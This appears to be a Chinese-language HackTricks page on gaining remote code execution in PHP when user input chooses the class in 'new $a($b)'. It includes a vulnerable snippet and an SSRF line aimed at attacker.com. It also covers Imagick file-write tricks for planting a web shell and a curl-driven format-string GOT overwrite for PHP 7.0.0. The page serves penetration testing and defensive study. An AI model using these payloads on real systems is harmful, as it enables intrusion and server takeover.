PHP - RCE 利用对象创建: new $_GET"a"
Reading time: 8 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
这基本上是对 https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ 的摘要
介绍
创建任意对象,例如 new $_GET["a"]($_GET["a"])
,可能导致 Remote Code Execution (RCE),详见 writeup。本文档重点介绍实现 RCE 的各种策略。
RCE 通过自定义类或自动加载
语法 new $a($b)
用于实例化对象,其中 $a
表示类名,$b
是传递给构造函数的第一个参数。这些变量可以来自用户输入,如 GET/POST,它们可能是字符串或数组,或来自 JSON,在那里它们可能呈现为其他类型。
请考虑下面的代码片段:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
在这个例子中,将 $a
设置为 App
或 App2
,并将 $b
设置为系统命令(例如 uname -a
),会导致该命令被执行。
Autoloading functions 可以被利用,如果没有这样的类可直接访问。这些函数会在需要时自动从文件中加载类,并通过 spl_autoload_register
或 __autoload
定义:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
自动加载 (autoloading) 的行为因 PHP 版本而异,带来不同的 RCE 可能性。
通过内置类实现 RCE
如果没有自定义类或自动加载器,内置 PHP 类 可能足以实现 RCE。根据 PHP 版本和扩展,这些类的数量大约在 100 到 200 之间。可以使用 get_declared_classes()
列出它们。
可以通过反射 API 确定感兴趣的构造函数,如下面示例和链接所示 https://3v4l.org/2JEGF。
通过特定方法的 RCE 包括:
SSRF + Phar Deserialization
SplFileObject
类通过其构造函数实现 SSRF,允许连接到任意 URL:
new SplFileObject('http://attacker.com/');
SSRF 可以导致在 PHP 8.0 之前的版本中通过 Phar 协议发生反序列化攻击。
利用 PDOs
PDO 类的构造函数允许通过 DSN 字符串连接到数据库,可能导致创建文件或其他交互:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
在 libxml2 的特定版本条件下,PHP(最高至 5.3.22 和 5.4.12)通过 SoapClient
和 SimpleXMLElement
构造函数易受 XXE 攻击。
通过 Imagick Extension 实现 RCE
在对一个项目依赖项的分析中,发现可以通过实例化新对象利用 Imagick 来进行 command execution。这为利用漏洞提供了机会。
VID 解析器
发现 VID 解析器具有将内容写入文件系统任意指定路径的能力。这可能导致在可被 Web 访问的目录中放置 PHP shell,从而实现 Remote Code Execution (RCE)。
VID Parser + File Upload
需要注意的是,PHP 会将上传的文件临时存储在 /tmp/phpXXXXXX
。Imagick 中的 VID 解析器,利用 msl 协议,可以在文件路径中处理通配符,从而将临时文件转移到选定位置。该方法为在文件系统中实现任意文件写入提供了另一种途径。
PHP Crash + Brute Force
在 original writeup 中描述的一种方法,涉及上传在删除之前触发服务器崩溃的文件。通过暴力破解临时文件名,Imagick 就有可能执行任意 PHP 代码。然而,该技术仅在过时的 ImageMagick 版本中被发现有效。
Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
当用户输入控制类名(例如,new $_GET['model']()
)时,PHP 7.0.0 在进行 Throwable
重构期间引入了一个短暂的错误,导致引擎在解析类名时错误地将其视为 printf 格式字符串。这使得在 PHP 内实现经典的 printf 风格原语成为可能:leaks with %p
,通过宽度说明符控制写入计数,以及使用 %n
对进程内指针(例如 ELF 构建上的 GOT 条目)进行任意写入。
最小复现的易受攻击模式:
<?php
$model = $_GET['model'];
$object = new $model();
利用概述(来自参考):
- Leak addresses via
%p
in the class name to find a writable target:
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
- 使用位置参数和宽度说明符来设置精确的字节计数,随后使用
%n
将该值写入栈上可到达的地址,目标为 GOT 插槽(例如free
),以部分覆盖为system
。 - 通过传递包含 shell pipe 的类名触发被劫持的函数,从而调用
system("id")
。
注意:
- 仅适用于 PHP 7.0.0(Bug #71105);在随后的版本中已修复。如果存在任意类实例化,严重性:critical。
- 典型的 payload 会串联多个
%p
来遍历栈,然后使用%.<width>d%<pos>$n
来实现部分覆盖。
References
- https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
- The Art of PHP: CTF‑born exploits and techniques
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。